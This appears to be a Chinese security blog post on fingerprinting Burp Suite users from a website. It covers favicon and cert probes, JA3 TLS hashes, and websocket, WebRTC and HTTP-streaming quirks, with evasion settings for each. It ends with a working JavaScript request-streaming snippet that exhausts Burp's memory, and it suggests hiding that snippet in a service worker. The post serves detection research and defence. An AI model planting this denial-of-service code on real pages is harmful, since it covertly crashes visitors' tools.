<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Burpsuite 特征識別及其對抗措施

    VSole2022-12-16 07:08:04

    某日, 我的同學突然 @crane 問我有沒有能檢測 burp 的方法. 突然想起來之前就看見過別人的 burp 被攔截, 但是當時測試下來由于我的 burp 不會被攔截, 所以就沒有太在意. 現在回想起來有點在意為什么會出現這種檢測上的選擇性, 于是剛好學習一下相關方法了解原因.

    讓我們首先看看網絡上已有的檢測 burp 的方法

    burp web interface

    burp web interface, 也就是直接訪問 burp 代理端口, 或者在經過 burp 代理的情況下訪問 http://burp 和 http://burpsuite 出來的頁面. 主要作用是… 好像也沒啥作用? 在老版本貌似可以下載 pac 代理文件, 但目前實際上能用的功能也就一個導出證書了, 但是導出證書完全可以在 burp 里完成, 導致這個 interface 其實有點雞肋. 但是這個 interface 存在一個 favicon, 導致可以輕松使用 img 的 onerror 和 onload 來判斷是否存在 burp.

    <h2 id='indicator'>Loading...h2><script>    function burp_found() {        let e = document.getElementById('indicator');        e.innerText = 'Burp FOUND !!!';    }        function burp_not_found() {        let e = document.getElementById('indicator');        e.innerText = 'Burp not found.';    }script><img style="display: none;" src='http://burp/favicon.ico' onload='burp_found()' onerror='burp_not_found()'/>
    

    當然這個檢測方式存在一個致命缺點 = =, 就是攻擊者得開全局代理, 否則不通過 burp 的代理請求 burp 這個域名, 當然是不存在的. 這個完全看個人喜好了, 不過至少我從來不開全局代理… 都是將目標域名在 SwitchyOmega 的選項里特定走 burp 代理.

    當然, 也完全可以直接請求 burp 默認的代理端口 http://127.0.0.1:8080/favicon.ico, 這樣不管開不開全局代理都無所謂了, 不過這樣也有可能誤判, 比如 tomcat 默認也是 8080 端口. 為了提高可信度, 我們可以利用上面提到的 burp 僅剩的導出證書的接口, 利用 script 探測是 404 還是 200. 非常滑稽的是 burp 還是做了不少防御的, 包括 X-Frame-Options 和 X-Content-Type-Options, 但是這個接口一個都沒有上, 否則也是利用不了的.

    <h2 id='indicator'>Loading...h2><script>    function burp_found() {        let e = document.getElementById('indicator');        e.innerText = 'Burp FOUND !!!';    }        function burp_not_found() {        let e = document.getElementById('indicator');        e.innerText = 'Burp not found.';    }script><script style="display: none;" src='http://127.0.0.1:8080/cert' onload='burp_found()' onerror='burp_not_found()'>script>
    

    對抗這種探測非常簡單, 在 Proxy -> Miscellaneous 里面勾選 Disable web interface at http://burpsuite 和 Suppress Burp error messages in browser 即可. 需要注意 Suppress Burp error messages in browser 也要勾選, 否則在全局代理模式下, 訪問一個不存在的域名, burp 會返回一個 HTTP 200 的錯誤頁面, 非常好探測.

    <h2 id='indicator'>Loading...h2><script>    function burp_found() {        let e = document.getElementById('indicator');        e.innerText = 'Burp FOUND !!!';    }        function burp_not_found() {        is_burp_not_found = true;        let e = document.getElementById('indicator');        e.innerText = 'Burp not found.';    }script><script>    fetch('http://not_exists_domain/not_exist', {method: 'GET', mode: 'no-cors'}).then((r)=>{burp_found();}).catch((e)=>{burp_not_found();});    // 200 -> fetch 成功, 觸發 then, burp 存在. 超時 -> fetch 失敗, 觸發 catch, burp 不存在.script>
    

    TLS fingerprint

    最經典的探測方法了應該是, 也就是最常見的開源實現就是 ja3, 其實 ja3 說起來也十分簡單, 就是把 TLS 握手時客戶端發送的 Client Hello 里面的 Version + Cipher Suites + Extensions 提取出來然后算個 md5.

    TLS Version + Cipher Suites

    Extensions

    對 0x0a 0x0b 這兩個 Extensions, 會額外提取里面的參數

    由于不同軟件底層使用的 TLS 庫不同, 比如: ja3 是順序敏感的, GnuTLS, OpenSSL, NSS 之間可能會將 Cipher Suites 放在不同的位置, 就算使用完全相同的配置也會導致 ja3 指紋的不同. 更別說軟件一般配置的算法都不會完全一樣, 導致可以利用 ja3 特征識別客戶端. 以下是一些例子:

    chrome104.pcap

    $ ./python/venv/bin/python python/ja3.py chrome104.pcap | grep 61.183.52.197[61.183.52.197:443] JA3: 771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-17513-21,29-23-24,0 --> cd08e31494f9531f560d64c695473da9[61.183.52.197:443] JA3: 771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-17513-21-41,29-23-24,0 --> 0d69ff451640d67ee8b5122752834766[61.183.52.197:443] JA3: 771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-17513-21-41,29-23-24,0 --> 0d69ff451640d67ee8b5122752834766
    burp2022.8.1-java11.pcap
    
    $ ./python/venv/bin/python python/ja3.py burp2022.8.1-java11.pcap | grep 61.183.52.197[61.183.52.197:443] JA3: 771,4866-4865-4867-49196-49195-52393-49200-52392-49199-159-52394-163-158-162-49188-49192-49187-49191-107-106-103-64-49198-49202-49197-49201-49190-49194-49189-49193-49162-49172-49161-49171-57-56-51-50-49157-49167-49156-49166-157-156-61-60-53-47-255,0-5-10-11-13-50-16-17-23-43-45-51,29-23-24-25-30-256-257-258-259-260,0 --> b154bc0fc6157d34cb12295edb07a2f6[61.183.52.197:443] JA3: 771,4866-4865-4867-49196-49195-52393-49200-52392-49199-159-52394-163-158-162-49188-49192-49187-49191-107-106-103-64-49198-49202-49197-49201-49190-49194-49189-49193-49162-49172-49161-49171-57-56-51-50-49157-49167-49156-49166-157-156-61-60-53-47-255,0-5-10-11-13-50-17-23-43-45-51-41,29-23-24-25-30-256-257-258-259-260,0 --> 41cb1a264f27be250a6575f4c9aba2f1[61.183.52.197:443] JA3: 771,4866-4865-4867-49196-49195-52393-49200-52392-49199-159-52394-163-158-162-49188-49192-49187-49191-107-106-103-64-49198-49202-49197-49201-49190-49194-49189-49193-49162-49172-49161-49171-57-56-51-50-49157-49167-49156-49166-157-156-61-60-53-47-255,0-5-10-11-13-50-17-23-43-45-51-41,29-23-24-25-30-256-257-258-259-260,0 --> 41cb1a264f27be250a6575f4c9aba2f1
    

    通過 burp 和 chrome 的對比可以看出不同軟件之間 ja3 差別還是非常大的.

    burp2022.3.9-java11.pcap

    $ ./python/venv/bin/python python/ja3.py burp2022.3.9-java11.pcap | grep 61.183.52.197[61.183.52.197:443] JA3: 771,4866-4865-4867-49196-49195-52393-49200-52392-49199-159-52394-163-158-162-49188-49192-49187-49191-107-106-103-64-49198-49202-49197-49201-49190-49194-49189-49193-49162-49172-49161-49171-57-56-51-50-49157-49167-49156-49166-157-156-61-60-53-47-255,0-5-10-11-13-50-16-17-23-43-45-51,29-23-24-25-30-256-257-258-259-260,0 --> b154bc0fc6157d34cb12295edb07a2f6[61.183.52.197:443] JA3: 771,4866-4865-4867-49196-49195-52393-49200-52392-49199-159-52394-163-158-162-49188-49192-49187-49191-107-106-103-64-49198-49202-49197-49201-49190-49194-49189-49193-49162-49172-49161-49171-57-56-51-50-49157-49167-49156-49166-157-156-61-60-53-47-255,0-5-10-11-13-50-16-17-23-43-45-51,29-23-24-25-30-256-257-258-259-260,0 --> b154bc0fc6157d34cb12295edb07a2f6[61.183.52.197:443] JA3: 771,4866-4865-4867-49196-49195-52393-49200-52392-49199-159-52394-163-158-162-49188-49192-49187-49191-107-106-103-64-49198-49202-49197-49201-49190-49194-49189-49193-49162-49172-49161-49171-57-56-51-50-49157-49167-49156-49166-157-156-61-60-53-47-255,0-5-10-11-13-50-17-23-43-45-51,29-23-24-25-30-256-257-258-259-260,0 --> 2c7b42976f538f0759bad05220ba8e2d
    burp 之間的版本只要不是差的很多, 應該是不會有啥差別的, 差的那幾個查了一下應該是 TLSv1.3 為了加速握手速度搞的擴展, 所以連接之間會有小差別.
    

    burp2022.3.9-java18.pcap

    $ ./python/venv/bin/python python/ja3.py burp2022.3.9-java18.pcap | grep 61.183.52.197[61.183.52.197:443] JA3: 771,4866-4865-4867-49196-49195-52393-49200-52392-49199-159-52394-163-158-162-49188-49192-49187-49191-107-106-103-64-49198-49202-49197-49201-49190-49194-49189-49193-49162-49172-49161-49171-57-56-51-50-49157-49167-49156-49166-157-156-61-60-53-47-255,0-5-10-11-16-17-23-35-13-43-45-50-51,29-23-24-25-30-256-257-258-259-260,0 --> 62f6a6727fda5a1104d5b147cd82e520[61.183.52.197:443] JA3: 771,4866-4865-4867-49196-49195-52393-49200-52392-49199-159-52394-163-158-162-49188-49192-49187-49191-107-106-103-64-49198-49202-49197-49201-49190-49194-49189-49193-49162-49172-49161-49171-57-56-51-50-49157-49167-49156-49166-157-156-61-60-53-47-255,0-5-10-11-16-17-23-35-13-43-45-50-51,29-23-24-25-30-256-257-258-259-260,0 --> 62f6a6727fda5a1104d5b147cd82e520[61.183.52.197:443] JA3: 771,4866-4865-4867-49196-49195-52393-49200-52392-49199-159-52394-163-158-162-49188-49192-49187-49191-107-106-103-64-49198-49202-49197-49201-49190-49194-49189-49193-49162-49172-49161-49171-57-56-51-50-49157-49167-49156-49166-157-156-61-60-53-47-255,0-5-10-11-17-23-13-43-45-50-51,29-23-24-25-30-256-257-258-259-260,0 --> 45d5544dca9ff99d72d13a58fe4e3ca1
    真正差別大的其實是運行 burp 的 java 版本, 可以看到 extensions 部分不管是順序還是種類都有變化.
    

    要對付 ja3 也非常簡單, 其實 burp 已經有選項可以自定義 TLS 連接時所用的 Cipher Suites 了, 默認是使用 Java 的所有 Cipher Suites, 所以會有比較強的特征… 也是為了保證至少測試的站打的開吧, 只要隨機選擇幾個增加或者刪掉即可.

    這里隨便刪掉了幾個后的結果如下, 可以看到長度瞬間短了不少, 點的越多變化越大.

    burp2022.3.9-java18-custom-cipher.pcap

    $ ./python/venv/bin/python python/ja3.py burp2022.3.9-java18-custom-cipher.pcap | grep 61.183.52.197[61.183.52.197:443] JA3: 771,4866-4867-49196-49195-52393-49200-52392-49199-159-52394-163-158-162-49188-49192-49187-49191-107-106-103-64-49198-49202-49197-49190-49194-49189-49193-49162-49172-49161-49171-57-56-51-50-49157-49167-49166-157-156-61-53-47-255,0-5-10-11-17-23-35-13-43-45-50-51,29-23-24-25-30-256-257-258-259-260,0 --> 67a83bc49faeb2499fb8c8526d432076[61.183.52.197:443] JA3: 771,4866-4867-49196-49195-52393-49200-52392-49199-159-52394-163-158-162-49188-49192-49187-49191-107-106-103-64-49198-49202-49197-49190-49194-49189-49193-49162-49172-49161-49171-57-56-51-50-49157-49167-49166-157-156-61-53-47-255,0-5-10-11-17-23-35-13-43-45-50-51,29-23-24-25-30-256-257-258-259-260,0 --> 67a83bc49faeb2499fb8c8526d432076[61.183.52.197:443] JA3: 771,4866-4867-49196-49195-52393-49200-52392-49199-159-52394-163-158-162-49188-49192-49187-49191-107-106-103-64-49198-49202-49197-49190-49194-49189-49193-49162-49172-49161-49171-57-56-51-50-49157-49167-49166-157-156-61-53-47-255,0-5-10-11-17-23-35-13-43-45-50-51,29-23-24-25-30-256-257-258-259-260,0 --> 67a83bc49faeb2499fb8c8526d432076
    

    另外還有一個最終解決方案, 就是架一個 HTTPS MITM 代理進行套娃, 這樣跟網站 TLS 握手的就是 burp 后面的 MITM 代理, 自然不會暴露 burp 的 ja3 指紋.

    ja3 檢測方案的最大問題是不太可能搞白名單, 太容易誤傷了. 比如瀏覽器更新后更新了新的加密算法, 它的 ja3 可能就完全不一樣了. 所以 ja3 目前來看都是搞的黑名單, 相對比較好繞過, 開頭提到的 burp 被攔截的同學估計也是因為用的 burp + java 所產生的 ja3 剛好在黑名單中才導致被檢測出來.

    websocket

    接下來介紹三種我發現的同樣可以探測 burp 的手段, 類似于 TLS fingerprint, 主要是尋找 burp 在 MITM 時對流量產生的影響.

    第一種是 websocket, 檢測方法非常簡單, 就是 new WebSocket('ws://target.com/test_burp'), 在經過 burp 代理和直接訪問的流量差別如下:

    可以看到 burp 直接吃掉了 Sec-Websocket-Extensions 這個 header, 只要在服務端側檢測這個 header 是否存在就可以直接判斷用戶是否使用 burp.

    實際上要做防御非常簡單, 因為這個 header 實際上是 burp 故意吃掉的, 目的是為了兼容性, 所以只要手動關閉就好了.

    webrtc

    于是跟 websocket 類似的, 還有 webrtc, 使用如下代碼就可以發起 webrtc 連接

    var rtc = new RTCPeerConnection({    iceServers:[{"urls":"turn:target.com:19132?transport=tcp", credential: "credential", username: "username"}]});rtc.createDataChannel('', { reliable: false});rtc.createOffer(    function (offerDesc) {        rtc.setLocalDescription(offerDesc);    },    function (e) {});
    

    在遠程看起來是這樣的

    但是在經過 burp 的情況下是直接不通的, 在 burp 的日志界面可以看到 Unsupported or unrecognized SSL message, 很顯然 burp 只能解析正常的 HTTP 或者 HTTPS 請求, 碰到 webrtc 直接就寄了.


    對于 webrtc 這種方式, 就沒有啥好解決辦法了, 畢竟是 burp 內部的問題, 在他閉源且存在強混淆的情況下是沒辦法修改程序的邏輯的.

    HTTP streaming

    最后還有 HTTP streaming, 如果是 HTTP/2 的話, 協議本身就是流式傳輸, 不用考慮太多, 而在 HTTP/1.1 用的是繞 waf 時比較常見的 Transfer-encoding: chunked, 可以運行以下代碼進行測試,

    #!/usr/bin/env python
    import asynciofrom quart import make_response, Quart, render_template, url_for, requestfrom datetime import datetime
    app = Quart(__name__)
    
    @app.route('/')async def index():    return "index"
    @app.route('/test')async def stream_time():    async def async_generator():        for i in range(5):            time = datetime.now().isoformat()            yield time.encode()            await asyncio.sleep(1)
        return async_generator(), 200, {'X-Something': 'value'}
    app.run(host='0.0.0.0', port=19132,    certfile="fullchain.pem",    keyfile="privkey.pem",)
    

    在客戶端運行以下 js

    fetch('http://target.com:19132/').then(async function(response) {  console.log(response);  const reader = response.body.getReader();    while (1) {        const result = await reader.read()        if (!result.done) {            console.log(new TextDecoder("utf-8").decode(result.value))        } else {            break;        }    }})
    

    如果沒有 burp, 那么會每秒收到一個 ping, 而如果存在 burp, 其為了方便在 proxy 里面操作和查看 history, 會把全部 chunked 接收完畢后才會發送給瀏覽器, 于是會在 5 秒后收到 pingpingpingpingping. 造成了可以被感知的差異.

    如果是 HTTP/1.1, burp 中存在相關功能的選項, 在 Project options -> HTTP -> Streaming Response 中 add 相關目標即可, 如果想要匹配全部, 可以打開 advanced scope control 然后寫上三個 .* 就行了.

    打開以后是會實時更新 history 并中繼給客戶端, 而不是等服務器發送完畢后才一起發送. 不過這個功能默認不開啟, 嘗試了一下會如同其描述所說, 在 /tmp 底下寫一些文件, linux 是內存盤倒還還好, 如果是 windows 的話應該就直接寫到硬盤上了吧, 沒有相關需求還是別開了.

    然后在 HTTP/2 的情況下, 我還發現即使打開 Streaming Response, burp 也無法正常處理, 還是得等流全部結束后才會返回給客戶端, 所以這個選項的作用還是很有限的.

    DoS

    上面已經提到了 HTTP streaming, 實際上請求也是可以 streaming 的, 可以參考 request streaming. 這是一個非常新的功能, 在文章寫下的時間 (2022 年 8 月 14 日), 正式版 Chrome 還不支持此功能, 需要使用 Dev 版本. 需要注意請求 streaming 不支持 HTTP/1.x, 也就是說用的不是 Transfer-encoding: chunked 而是基于 HTTP/2 自帶的流式傳輸.

    那么自然也是可以用來探測 burp 的, 這里不多贅述了, 有個更有意思的玩法, 那就是利用 burp 會等到請求流結束后才會將 HTTP 報文發送給服務器的特性, 不斷發送垃圾數據讓 burp OOM, 達到 DoS 的效果. 在以往沒有流式傳輸的情況下, 只能在瀏覽器端通過死循環發送大量短字符串給 burp, 或者一次性構造超大字符串發送給 burp 的方法來進行 DoS, 但不管采取哪種方法, 首先 OOM 的只會是瀏覽器而不是 burp, 同時受害者也會非常快的發現瀏覽器運行的頁面存在問題. 而在有流式傳輸的情況下, 以較小資源消耗為代價就可以在單次請求內打滿 burp 的內存上限, 而且由于是在單次請求內, java 也是無法 gc 掉這個請求下的數據的, 只能眼睜睜的看著內存被占滿. 流式傳輸的出現使得瀏覽器占用的資源遠遠小于 burp, 讓 DoS 變的有實際意義, 只要多來幾次 burp 就會直接崩掉.

    比如以下代碼:

    let veryLoooooongString = 'abcdddddd'.repeat(6553500);const stream = new ReadableStream({  async start(controller) {    while (1) {        await wait(0);        controller.enqueue(veryLoooooongString);    }  },}).pipeThrough(new TextEncoderStream());
    function wait(milliseconds) {  return new Promise(resolve => setTimeout(resolve, milliseconds));}
    fetch('https://target.com/', {  method: 'POST',  headers: {'Content-Type': 'text/plain'},  body: stream,  duplex: 'half',});
    

    大概 20 多秒就可以直接把內存打滿, burp 會直接卡的動不了. 如果把 wait 等待時間調長那么會更隱蔽, 更極限一點可以注冊成 serviceWorker 放在后臺偷偷惡心攻擊者.

    python
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    網絡安全研究人員在 Python 包索引(PyPI)倉庫中識別出116個惡意軟件包,旨在通過定制后門程序感染 Windows 和 Linux 系統。
    攻擊者利用錯誤配置部署惡意 Docker 容器,并將 Python 惡意軟件編譯為 ELF 可執行文件。該惡意工具充當分布式拒絕服務 (DDoS) 機器人代理,展示了用于進行 DoS 攻擊的各種攻擊方法。
    這種持續的攻擊最初是在八月初發現的,它揭示了網絡犯罪分子滲透到開源Python軟件存儲庫Python包索引(PyPI)的陰險趨勢。
    隨著互聯網的迅速發展,網絡安全問題日益嚴峻。黑客攻擊和網絡漏洞成為讓人頭痛的問題。為了保護自己的網絡安全,安全專家不僅需要了解網絡安全原理,還需要熟悉網絡滲透工具的使用。Python作為一種簡單易學且功能強大的編程語言,被廣泛應用于網絡安全領域。本文將推薦python滲透工具。
    圖像處理第19篇介紹KMeans聚類區域分割,希望您喜歡
    Python圖像處理第17篇介紹Scharr算子、Canny算子和LOG算子,希望您喜歡!
    一.文本分類文本分類旨在對文本集按照一定的分類體系或標準進行自動分類標記,屬于一種基于分類體系的自動分類。牛亞峰老師將傳統的文本分類流程歸納如下圖所示。在傳統的文本分類中,基本上大部分機器學習方法都在文本分類領域有所應用。本文將采用詞向量、TFIDF兩種方式進行實驗。
    Python簡介 Python是一種簡單易學,功能強大的編程語言,它有高效率的高層數據結構,簡單而有效地實現了面向對象編程。Python簡潔的語法和對動態輸入的支持,再加上解釋性語言的本質,使得它在大多數平臺上的許多領域都是一個理想的腳本語言,特別適用于快速的應用程序開發。進入Python shell,使用Python2.7版本的命令、標準API或擴展API對設備進行配置。本文案例是以H3C廠商為例,其他廠商過程類似。執行Python腳本文件 請在用戶視圖下執行本命令,執行Python腳本文件。
    從本專欄開始,作者正式研究Python深度學習、神經網絡及人工智能相關知識。一.RNN文本分類1.RNN循環神經網絡英文是Recurrent Neural Networks,簡稱RNN。假設有一組數據data0、data1、data2、data3,使用同一個神經網絡預測它們,得到對應的結果。RNN常用于自然語言處理、機器翻譯、語音識別、圖像識別等領域。本文將采用詞向量、TFIDF兩種方式進行實驗。
    Python圖像處理第16篇文章介紹對數變換和伽馬變換,希望您喜歡
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类